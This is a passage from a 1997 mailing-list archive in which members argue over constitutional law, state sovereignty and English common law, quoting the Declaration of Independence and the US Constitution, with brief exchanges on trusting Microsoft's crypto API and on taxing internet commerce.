            If ye love wealth greater than liberty, the tranquility
            of servitude greater than the animating contest for
            freedom, go home from us in peace. We seek not your
            counsel, nor your arms. Crouch down and lick the hand
            that feeds you. May your chains set lightly upon you;
            and may posterity forget that ye were our countrymen.
 
                                                  Samuel Adams


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Mon Dec 29 09:46:01 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 01:46:01 +0800
Subject: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291754.LAA02623@einstein.ssz.com>
Message-ID: <199712291746.MAA21063@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291754.LAA02623 at einstein.ssz.com>, on 12/29/97 
   at 12:54 PM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 29 Dec 97 11:22:11 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> I fail to see how this gives you the right to bring suit when you were not
>> the infringed party??

>That's your problem Bill, you don't 'see'.

>I am a citizen of the United States, all laws passed at the federal level
>and *any* parties which participate in the application of those laws
>whether against me or another are in fact threatening my liberty if those
>laws are unconstitutional.

>You fuck over one citizen, you fuck over all citizens.

>*THAT* is what makes me the infringed party.

BULL!

By your logic the individule States have no sovernty and the citizens of
one state can impose thier will against the citizens of another. This
clearly goes against both the spirit and the letter of the Constitution.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfgt49Co1n+aLhhAQF7lgQAiOAUyNlDXK26tvYzjhLhrjDbIMR3P0vG
0WBMaNd8Z5gYKq+YzF9L+tZ2talfAUXDFx+5KYiXkuIqAUWcPrdVw+XybRb0Kzuk
7S8xk7Pl5q9RvoLLQpHVlOYCo4RjVH2Uw8K1YS+dSUUYTZycMNST5vI4A15cBiAA
T4fcZRgsY5o=
=qbSo
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 29 09:48:08 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 01:48:08 +0800
Subject: Abandonment of legal precedence...
Message-ID: <199712291809.MAA02745@einstein.ssz.com>



When in the Course of human Events, it becomes necessary for 
one People to dissolve the Political bands which have connected 
them with another, and to assume among the Powers of the Earth, 
the separate and equal station to which the Laws of Nature and 
of Nature's God entitle them, a decent respect to the Opinions 
of Mankind requires that they should declare the causes which 
impel them to the Separation. 
 
     We hold these Truths to be self-evident, that all Men are 
created equal, that they are endowed by their Creator with 
certain unalienable rights, that among these are Life, Liberty, 
and the Pursuit of Happiness--That to secure these Rights, 
Governments are instituted among Men, deriving their just Powers 
from the Consent of the Governed, that whenever any Form of 
Government becomes destructive of these Ends, it is the Right of 
the People to alter or to abolish it, and to institute new 
Government, laying its foundation on such Principles and 
organizing its Powers in such Form, as to them shall seem most 
likely to effect their Safety and Happiness.  Prudence, indeed, 
will dictate that Governments long established should not be 
changed for light and transient Causes; and accordingly all 
Experience hath shewn, that Mankind are more disposed to suffer, 
while evils are sufferable, than to right themselves by 
abolishing the Forms to which they are accustomed.  But when a 
long train of Abuses and Ursurpations, pursuing invariably the 
same Object, evinces a Design to reduce them under absolute 
Despotism, it is their Right, it is their Duty, to throw off such 
Government, and to provide new Guards for their future Security. 
Such has been the patient sufferance of these Colonies; and such 
is now the necessity which constrains them to alter their former 
Systems of Government.  The history of the present King of Great 
Britain is a history of repeated injuries and usurpations, all 
having in direct object the establishment of an absolute Tyranny 
over these States.  To prove this, let Facts be submitted to a 
candid world. 

 ------------------------------------------------------------------------

The *entire* point of the forming of the United States over 200 years ago
was the specific intent to break with precedence, in particular *English*
precedence, and find a new way.

[personaly, every time I hear somebody mention English commen law as a
justification to deny the Constitution I want to slap the holy shit out
of them]

In short (paraphrased),

I took the road less travelled, and it made all the difference.

                                     -don't remember-


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 29 09:59:33 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 01:59:33 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712291820.MAA02795@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 11:36:51 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> By your logic the individule States have no sovernty and the citizens of
> one state can impose thier will against the citizens of another. This
> clearly goes against both the spirit and the letter of the Constitution.

Not exactly. States have the sovereignty *given* them by the Constitution
and their individual state constitutions. Further, one state can *not* under
the Constitution deny me a right in that state that I have in another.

Perhaps an example. The 2nd gives me the right to bear arms. Texas'
constitution gives the Texas legislature the right to regulate the ownership
and carrying of arms by Texas *citizens*. Those same laws could *not* be
used to deny a citizen of Louisiana from carrying their weapon if *their*
constitution does not regulate such activities.

It isn't *my* logic Bill, it's the Constitutions law:

 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 

 
It goes like this:

 -  A question of jurisdiction is noted.

 -  The Constitution is examined to see if it is assigned to the federal
    government.

 -  If it isn't then we look to see if the Constitution denies that power
    to the states. If not then the individual states may impliment it as
    *their* constitutions allow, provided it does not break any of the
    Constitutions dicta about equal protection and recognition.

 -  If the state constitution doesn't cover it *or* it is denied to the
    states by the Constitution then we each get to decide it on our own
    by our own means.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From honig at otc.net  Mon Dec 29 10:06:09 1997
From: honig at otc.net (David Honig)
Date: Tue, 30 Dec 1997 02:06:09 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: 
Message-ID: <3.0.5.32.19971229094401.007a7570@otc.net>



At 11:12 AM 12/26/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>In , on
>12/26/97 
>   at 11:45 AM, Ray Arachelian  said:
>
>>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>>idea on JA's reputation capital though...)
>
>Well to be honest anyone who would trust the M$ crypto API get what they
>deserve.
>
>

Is this just random MS-baiting or do you have a real point re the API?

The API describes an interface to things you'd need for a cryptosystem.
I believe it is up to implementors to instantiate the functions appropriately.


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From whgiii at invweb.net  Mon Dec 29 10:17:35 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 02:17:35 +0800
Subject: Abandonment of legal precedence...
In-Reply-To: <199712291809.MAA02745@einstein.ssz.com>
Message-ID: <199712291817.NAA21347@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291809.MAA02745 at einstein.ssz.com>, on 12/29/97 
   at 12:09 PM, Jim Choate  said:

>The *entire* point of the forming of the United States over 200 years ago
>was the specific intent to break with precedence, in particular *English*
>precedence, and find a new way.

Well that may sound nice and give you all kinds of warm fuzzies the fact
of the matter is English Common Law is the basis of the Judicial System in
America as it was before the break with England.

While the revolution changed the political form of government it did
little to change the judical system. Murder was still murder, theift was
still theift, contracts were still valid before and after the war.

>[personaly, every time I hear somebody mention English commen law as a
>justification to deny the Constitution I want to slap the holy shit out
>of them]

FL is not that far of a drive Jim, you are more than welcome to come on
down and give it your best shot. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfn4Y9Co1n+aLhhAQFWSwQAzlQNuAPqW++lCwzsiu50p3uatiFOZsUm
Cj5UWrMz+HLepWUblpVpPUMBbxj2xVUPZlkl2uXBkmpgznOTJn2yjmDLZcz6SRtN
jYz9p09xNYfRatIxKcVOzIbHfAuCrWRaKVSOcG2lHuo3Lm4g5tJwniW4kzf8Ic4w
ca3H1Iyf5Bo=
=Seuo
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 29 10:25:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 02:25:53 +0800
Subject: States in the Constitution
Message-ID: <199712291844.MAA02959@einstein.ssz.com>



The Constitution:

	To provide for organizing, arming, and disciplining the Militia, 
and for governing such Part of them as may be employed in the Service of 
the United States, reserving to the States respectively, the Appointment 
of the Officers, and the authority of training and Militia according to 
the discipline prescribed by Congress; 

Section 10.  No State shall enter into any Treaty, Alliance, or 
Confederation; grant Letters of Marque and Reprisal; Coin Money; emit Bills 
of Credit; make any Thing but gold and silver Coin a Tender in Payment of 
Debts; pass any Bill of Attainder, ex post facto Law, or Law impairing the 
Obligation of Contracts, or grant any Title of Nobility. 
	No State shall, without the Consent of the Congress, lay any 
Imposts or Duties on Imports or Exports, except what may be absolutely 
necessary for executing its inspection Laws: and the net Produce of all 
Duties and Imposts, laid by any State on Imports or Exports, shall be for 
the Use of the Treasury of the United States; and all such Laws shall be 
subject to the Revision and Controul of the Congress. 
	No State shall, without the Consent of Congress, lay any Duty of 
Tonnage, keep Troops, or Ships of War in time of Peace, enter into any 
Agreement or Compact with another State, or with a foreign Power, or engage 
in War, unless actually invaded, or in such imminent Danger as will not admit 
of delay. 
 
	Each State shall appoint, in such Manner as the Legislature 
thereof may direct, a Number of Electors, equal to the whole Number of 
Senators and Representatives to which the State may be entitled in the 
Congress: but no Senator or Representative, or Person holding an Office of 
Trust or Profit under the United States, shall be appointed an Elector. 

Section 2.  The President shall be the Commander in Chief of the Army and 
Navy of the United States, and the Militia of the several States, when called 
into the actual Service of the United States; he may require the Opinion, in 
writing, of the principal Officer in each of the executive Departments, upon 
any Subject relating to the Duties of their respective Offices, and he shall 
have Power to grant Reprieves and Pardons for Offences against the United 
States, except in Cases of Impeachment. 

Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.  In all other Cases before mentioned, the supreme 
Court shall have appellate Jurisdiction, both as to Law and Fact, with such 
Exceptions, and under such Regulations as the Congress shall make. 

Section 1.  Full Faith and Credit shall be given in each State to the 
public Acts, Records, and judicial Proceedings of every other State. And 
the Congress may by general Laws prescribe the Manner in which such Acts, 
Records and Proceedings shall be proved, and the Effect thereof. 
 
Section 2.  The Citizens of each State shall be entitled to all Privileges 
and Immunities of Citizens in the several States. 
	A Person charged in any State with Treason, Felony, or other Crime, 
who shall flee from Justice, and be found in another State, shall on Demand 
of the executive Authority of the State from with he fled, be delivered up, 
to be removed to the State having Jurisdiction of the Crime. 
	{No Person held to Service or Labour in one State, under the Laws 
thereof, escaping into another, shall, in Consequence of any Law or 
Regulation therein, be discharged from such Service or Labour, but shall be 
delivered up on Claim of the Party to whom such Service or Labour may be 
due.} [See Amendment XIII.] 
 
Section 3.  New States may be admitted by the Congress into this Union; 
but no new States shall be formed or erected within the Jurisdiction of any 
other State; nor any State be formed by the Junction of two or more States, 
or Parts of States, without the Consent of the Legislatures of the States 
concerned as well as of the Congress. 

	The Congress shall have Power to dispose of and make all needful 
Rules and Regulations respecting the Territory or other Property belonging 
to the United States, and nothing in this Constitution shall be so construed 
as to Prejudice any Claims of the United States, or of any particular State. 
 
Section 4.  The United States shall guarantee to every State in this Union 
a Republican Form of Government, and shall protect each of them against 
Invasion; and on Application of the Legislature, or of the Executive (when 
the Legislature cannot be convened) against domestic violence. 
 
	The Congress, whenever two thirds of both Houses shall deem it 
necessary, shall propose Amendments to this Constitution, or, on the 
Application of the Legislatures of two thirds of the several States, shall 
call a Convention for proposing Amendments, which, in either Case, shall be 
valid to all Intents and Purposes, as Part of this Constitution, when ratified 
by the Legislatures of three fourths of the several States, or by Conventions 
of the three fourths thereof, as the one or the other Mode of Ratification 
may be proposed by the Congress; Provided that no Amendment which shall be 
made prior to the Year One thousand eight hundred and eight shall in any 
Manner affect the first and fourth Clauses in the Ninth Section of the first 
Article; and that no State, without its Consent, shall be deprived of it's 
equal Suffrage in the Senate. 
 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 

	The Senators and Representatives before mentioned, and the Members 
of the several State Legislatures, and all executive and judicial Officers, 
both of the United States and of the several States, shall be bound by Oath 
or Affirmation, to support this Constitution; but no religious Test shall 
ever be required as a Qualification to any Office or public Trust under the 
United States. 
 
	The Ratification of the Conventions of nine States, shall be 
sufficient for the Establishment of this Constitution between the States 
so ratifying the Same. 

The Amendments:

				ARTICLE VI. 
 
	In all criminal prosecutions, the accused shall enjoy the right 
to a speedy and public trial, by an impartial jury of the State and 
district wherein the crime shall have been committed, which district 
have been previously ascertained by law, and to be informed of the 
nature and cause of the accusation; to be confronted with the witnesses 
against him; to have compulsory process for obtaining witnesses in his 
favor, and to have Assistance of Counsel for his defence. 
 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 
				ARTICLE XI. 
 
	The Judicial power of the United States shall not be construed 
to extend to any suit in law or equity, commenced or prosecuted against 
one of the United States by Citizens of another State, or by Citizens 
or Subjects of any Foreign State.  [8 January 1798.] 
 
			       ARTICLE XIII. 
 
Section 1.  Neither slavery nor involuntary servitude, except as a 
punishment for crime whereof the party shall have been duly convicted, 
shall exist within the United States, or any place subject to their 
jurisdiction. 
 
Section 2.  Congress shall have the power to enforce this article by 
appropriate legislation.  [18 December 1865.] 
 
			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 
 
Section 2.  Representatives shall be apportioned among the several 
States according to their respective numbers, counting the whole number 
of persons in each State, excluding Indians not taxed.  But when the right 
to vote at any election for the choice of electors for President and 
Vice President of the United States, Representatives in Congress, the 
Executive and Judicial officers of a State, or the members of the 
Legislature thereof, is denied to any of the male inhabitants of such 
State, being twenty-one years of age, and citizens of the United States, 
or in any way abridged, except for participation in a rebellion, or 
other crime, the basis of representation therein shall be reduced in 
the proportion which the number of such male citizens shall bear to the 
whole number of male citizens twenty-one years of age in such State. 
 
Section 3.  No person shall be a Senator or Representative in Congress, 
or elector of President and Vice President, or hold any office, civil 
or military, under the United States, or under any State, who, having 
previously taken an oath, as a member of Congress, or as an officer of 
the United States, or as a member of any State legislature, or as an 
executive or judicial officer of any State, to support the Constitution 
of the United States, shall have engaged in insurrection or rebellion 
against the same, or given aid or comfort to the enemies thereof.  But 
Congress may by a vote of two-thirds of each House, remove such 
disability. 
 
Section 4.  The validity of the public debt of the United States, 
authorized by law, including debts incurred for payment of pensions 
and bounties for services in suppressing insurrection or rebellion, 
shall not be questioned.  But neither the United States nor any State 
shall assume to pay any debt or obligation incurred in aid of 
insurrection or rebellion against the United States, or any claim for 
the loss or emancipation of any slave; but all such debts, obligations 
and claims shall be held illegal and void. 
 
Section 5.  The Congress shall have power to enforce, by appropriate 
legislation, the provisions of this article.  [28 July 1868.] 
 
				ARTICLE XV. 
 
Section 1.  The right of citizens of the United States to vote shall 
not be denied or abridged by the United States or by any State on 
account of race, color, or previous condition of servitude ---- 
 
Section 2.  The Congress shall have power to enforce this article by 
appropriate legislation. ----  [30 March 1870.] 
 
			       ARTICLE XVI. 
 
	The Congress shall have power to lay and collect taxes on 
incomes, from whatever source derived, without apportionment among the 
several States, and without regard to any census or enumeration. 
[25 February 1913.] 
 
			       ARTICLE XVII. 
 
	The Senate of the United States shall be composed of two 
senators from each State, elected by the people thereof, for six years 
and each Senator shall have one vote.  The electors in each State 
shall have the qualifications requisite for electors of the most 
numerous branch of the State legislature. 
	When vacancies happen in the representation of any State in 
the Senate, the executive authority of such State shall issue writs 
of election to fill such vacancies: *Provided*, That the legislature 
of any State may empower the executive thereof to make temporary 
appointments until the people fill the vacancies by election as the 
legislature may direct. 
	This amendment shall not be construed as to affect the election 
or term of any senator chosen before it becomes a valid part of the 
Constitution.  [31 May 1913.] 
 
			       ARTICLE XIX. 
 
	The right of citizens of the United States to vote shall not be 
denied or abridged by the United States or by any State on account of sex. 
	The Congress shall have power by appropriate legislation to enforce 
the provisions of this article.  [26 August 1920.] 
 
 
			       ARTICLE XXI. 
 
Section 1.  The eighteenth article of amendment to the Constitution of 
the United States is hereby repealed. 
 
Section 2.  The transportation or importation into any State, Territory 
or possession of the United States for delivery or use therein of 
intoxicating liquors, in violation of the laws thereof, is hereby 
prohibited. 
 
Section 3.  This article shall be inoperative unless it shall have been 
ratified as an amendment to the Constitution by convention in the 
everal States, as provided in the Constitution, within seven years 
from the date of the submission thereof to the States by the Congress. 
[5 December 1933.] 
 
			       ARTICLE XXVI. 
 
Section 1.  The right of citizens of the United States, who are 18 years 
of age or older, to vote shall not be denied or abridged by the United 
States or by any State on account of age. 
 
Section 2.  The Congress shall have the power to enforce this article by 
appropriate legislation.  [circa 1970/1971.] 


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Mon Dec 29 10:33:49 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 02:33:49 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <3.0.5.32.19971229094401.007a7570@otc.net>
Message-ID: <199712291829.NAA21443@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.5.32.19971229094401.007a7570 at otc.net>, on 12/29/97 
   at 12:44 PM, David Honig  said:

>At 11:12 AM 12/26/97 -0600, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>Hash: SHA1
>>
>>In , on
>>12/26/97 
>>   at 11:45 AM, Ray Arachelian  said:
>>
>>>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>>>idea on JA's reputation capital though...)
>>
>>Well to be honest anyone who would trust the M$ crypto API get what they
>>deserve.
>>
>>

>Is this just random MS-baiting or do you have a real point re the API?

>The API describes an interface to things you'd need for a cryptosystem. I
>believe it is up to implementors to instantiate the functions
>appropriately.


1. The sorce code for the crypto API is not available for peer review. I
would not recomend using any crypto API where I was unable to review if it
performend as advertised.

2. If one does not have the ability of peer-review then one must rely on
trust. Through past actions MS has shown to be an untrustworthy company
(IMHO trust is not a sufficient replacement for peer review).

3. The MS crypto API can not be modified nor replaced. Export version of
the MS API contain only export apporved algrothms of export approved
strength.

I think the 3 reasons above should be sufficient reason not to use the
API.

This is not soly an attack against M$. The same argument can be used
against SUN, IBM, RSADSI, Lotus, ...ect.

I wouldn't trust any of them to tell me that water was wet let alone tell
me that their crypto API's were secure. No Code = No Trust!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfqxI9Co1n+aLhhAQFf9gP/e3gdjHaiRPcZeeSHJj/zaOF2On3EncPR
kfvuVL83zoa2MzBeMaQAskkXn+j4B7mDPBKhbn6tbK5da7JXgvZxEFPTc3WIaxMk
Y9KIZLHmzSbQZGQn/pKD+63Naw6apZMaNLM8i2cEhuGbavURXLl5lSnnVsSgIVCk
RD5FIhr9vQU=
=TwPk
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 29 10:35:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 02:35:53 +0800
Subject: Abandonment of legal precedence... (fwd)
Message-ID: <199712291853.MAA03050@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 11:51:15 -0600
> Subject: Re: Abandonment of legal precedence...

> >The *entire* point of the forming of the United States over 200 years ago
> >was the specific intent to break with precedence, in particular *English*
> >precedence, and find a new way.
> 
> Well that may sound nice and give you all kinds of warm fuzzies the fact
> of the matter is English Common Law is the basis of the Judicial System in
> America as it was before the break with England.
> 
> While the revolution changed the political form of government it did
> little to change the judical system. Murder was still murder, theift was
> still theift, contracts were still valid before and after the war.

So your premise is that the changes that were implimented at the time of the
Constitution were all the changes that the founding fathers had in mind? You
hold that while it is clear that the founding fathers recognized that the
quantity of change required was such that they would not be able to
impliment it realisticaly since nobody would accept that range of change at
one time? You further hold that the Constitution is not a document that holds
an ideal of freedom for us which will require generations of striving? You
seriously expect to get up one morning and find that no new laws will be
needed and that we have solved all the issues respecting human interaction?
You further hold that with 200+ years of English jurisprudence behind us we
have actualy attained that nirvana?

In short, you would have us take it all - the good and the bad - and ignore
our right to pick and choose what works for us?

If we accept your view, blacks would still be slaves and women would still
not be able to vote, and men couldn't vote unless they were landed.

Do me a favor, please don't try to lick my hand.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From frogfarm at yakko.cs.wmich.edu  Mon Dec 29 10:44:14 1997
From: frogfarm at yakko.cs.wmich.edu (damaged justice)
Date: Tue, 30 Dec 1997 02:44:14 +0800
Subject: newscolumn1.html
Message-ID: <199712291845.NAA15134@yakko.cs.wmich.edu>




     [1]Microsoft Small Business [2]Business First [3]Kemper Insurance
                                 Companies
                           [4][ISMAP]-[5][USEMAP]
                                      
                                                      December 29, 1997 
                                                                        
  Tech Watch
  
Groups line up in support for Internet commerce taxes
       ______________________________________________________________
     
     John Frees
     
     Rumblings on the horizon suggest that tax-free Internet commerce
     could be coming to an end.
     
     State governments, already losing as much as $3 billion annually in
     taxes on direct-mail purchases, are taking a strong look at the
     growing market for online purchases.
     
     The Federation of Tax Administrators, the National Conference of
     State Legislatures, National League of Cities and the National
     Governors' Association all want Congress to let states tax such
     purchases.
     
     But problems involved in deciding how states could collect those
     taxes could delay any foreseeable solution.
     
     Advocacy groups favoring the collection have created an electronic
     commerce project to decide how states can obtain their share of
     taxes.
     
     But even advocates have wide differences of opinion, says Harley
     Duncan, executive director of Washington D.C.-based Federation of
     Tax Administrators.
     
     "People in the project run the gamut from those who want to apply
     taxes responsibly to everyone to those who argue that electronic
     commerce deserve special consideration, while others say we ought
     to say it should be treated the same as mail order," he says.
     
     There are some similarities -- and some differences -- between mail
     order and Internet commerce, says tax attorney Harvey Dunn of law
     firm Schottenstein Zox & Dunn. If a company has some presence in
     Ohio, say a store or a trucking company, then sales tax could be
     charged. But an out-of-state mail-order company that ships a
     product via common carrier doesn't have to charge sales tax.
     
     However, buyers should pay a "use tax" on items once they receive
     them, he says. "But no one does," Dunn says.
     
     Cars bought out of state are charged a use tax because they are
     titled, which gives the state control.
     
     The difficulty comes in determining how to collect such a tax, says
     Julie Carpenter, spokeswoman for the Ohio Department of Taxation.
     Right now, there's no way for the state to police all the goods
     that are bought elsewhere but used here.
     
     "An Ohio taxpayer's obligation is to pay the tax," she says.
     "Realistically, is this going to happen? Probably not, without
     guidelines and some oversight."
     
     Online purchases are even murkier because the Net's unique nature
     allows some products such as music, software or electronic
     magazines, to be downloaded, Duncan says.
     
     While a CD purchased in a store can be taxed, how can a government
     collect on a few megabytes sent over the Internet?
     
     The electronic commerce project is looking at a billing address
     approach, Duncan says. If the commerce terminates in a state and is
     billed to someone in that state, then that state could make a
     strong case for collecting taxes on the commerce.
     
     Another issue states face is the different taxation rates among
     states. If a product made in New Hampshire is sold online to
     someone in Ohio, should Ohio collect a sales tax even though New
     Hampshire doesn't have a state sales tax? And how should sales from
     other countries be factored?
     
     Because of these and other issues, Duncan doesn't expect project
     members to have a grasp of the issue until sometime next summer.
     
     Meanwhile, Everen Securities estimates general, apparel, furniture
     and other sales nationwide are expected to hit $795 billion by
     2000.
     
     As much as $79 billion of that will be sold online. At an average
     sales tax of 5 percent, nearly $4 billion in taxes will go
     uncollected unless the states can convince the federal government
     to figure out a way to give them a share.
     
     Got a tip for Tech Watch? Reach reporter John Frees at
     columbus at amcity.com or by phone at 461-4040, ext. 143.
     
     � 1997, Business First
     
                                                    [6]More News Columns

References

   1. http://www.microsoft.com/smallbiz
   2. http://www.amcity.com/columbus/
   3. http://www.KemperInsurance.com/
   4. http://www.amcity.com/columbus/maps/new_topbar.map
   5. LYNXIMGMAP:http://www.amcity.com/columbus/stories/current/newscolumn1.html#topbar
   6. http://www.amcity.com/columbus/stories/current/newscolumns.html






From whgiii at invweb.net  Mon Dec 29 11:14:04 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 03:14:04 +0800
Subject: Abandonment of legal precedence... (fwd)
In-Reply-To: <199712291853.MAA03050@einstein.ssz.com>
Message-ID: <199712291910.OAA21797@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291853.MAA03050 at einstein.ssz.com>, on 12/29/97 
   at 12:53 PM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 29 Dec 97 11:51:15 -0600
>> Subject: Re: Abandonment of legal precedence...

>> >The *entire* point of the forming of the United States over 200 years ago
>> >was the specific intent to break with precedence, in particular *English*
>> >precedence, and find a new way.
>> 
>> Well that may sound nice and give you all kinds of warm fuzzies the fact
>> of the matter is English Common Law is the basis of the Judicial System in
>> America as it was before the break with England.
>> 
>> While the revolution changed the political form of government it did
>> little to change the judical system. Murder was still murder, theift was
>> still theift, contracts were still valid before and after the war.

>So your premise is that the changes that were implimented at the time of
>the Constitution were all the changes that the founding fathers had in
>mind? You hold that while it is clear that the founding fathers
>recognized that the quantity of change required was such that they would
>not be able to impliment it realisticaly since nobody would accept that
>range of change at one time? You further hold that the Constitution is
>not a document that holds an ideal of freedom for us which will require
>generations of striving? You seriously expect to get up one morning and
>find that no new laws will be needed and that we have solved all the
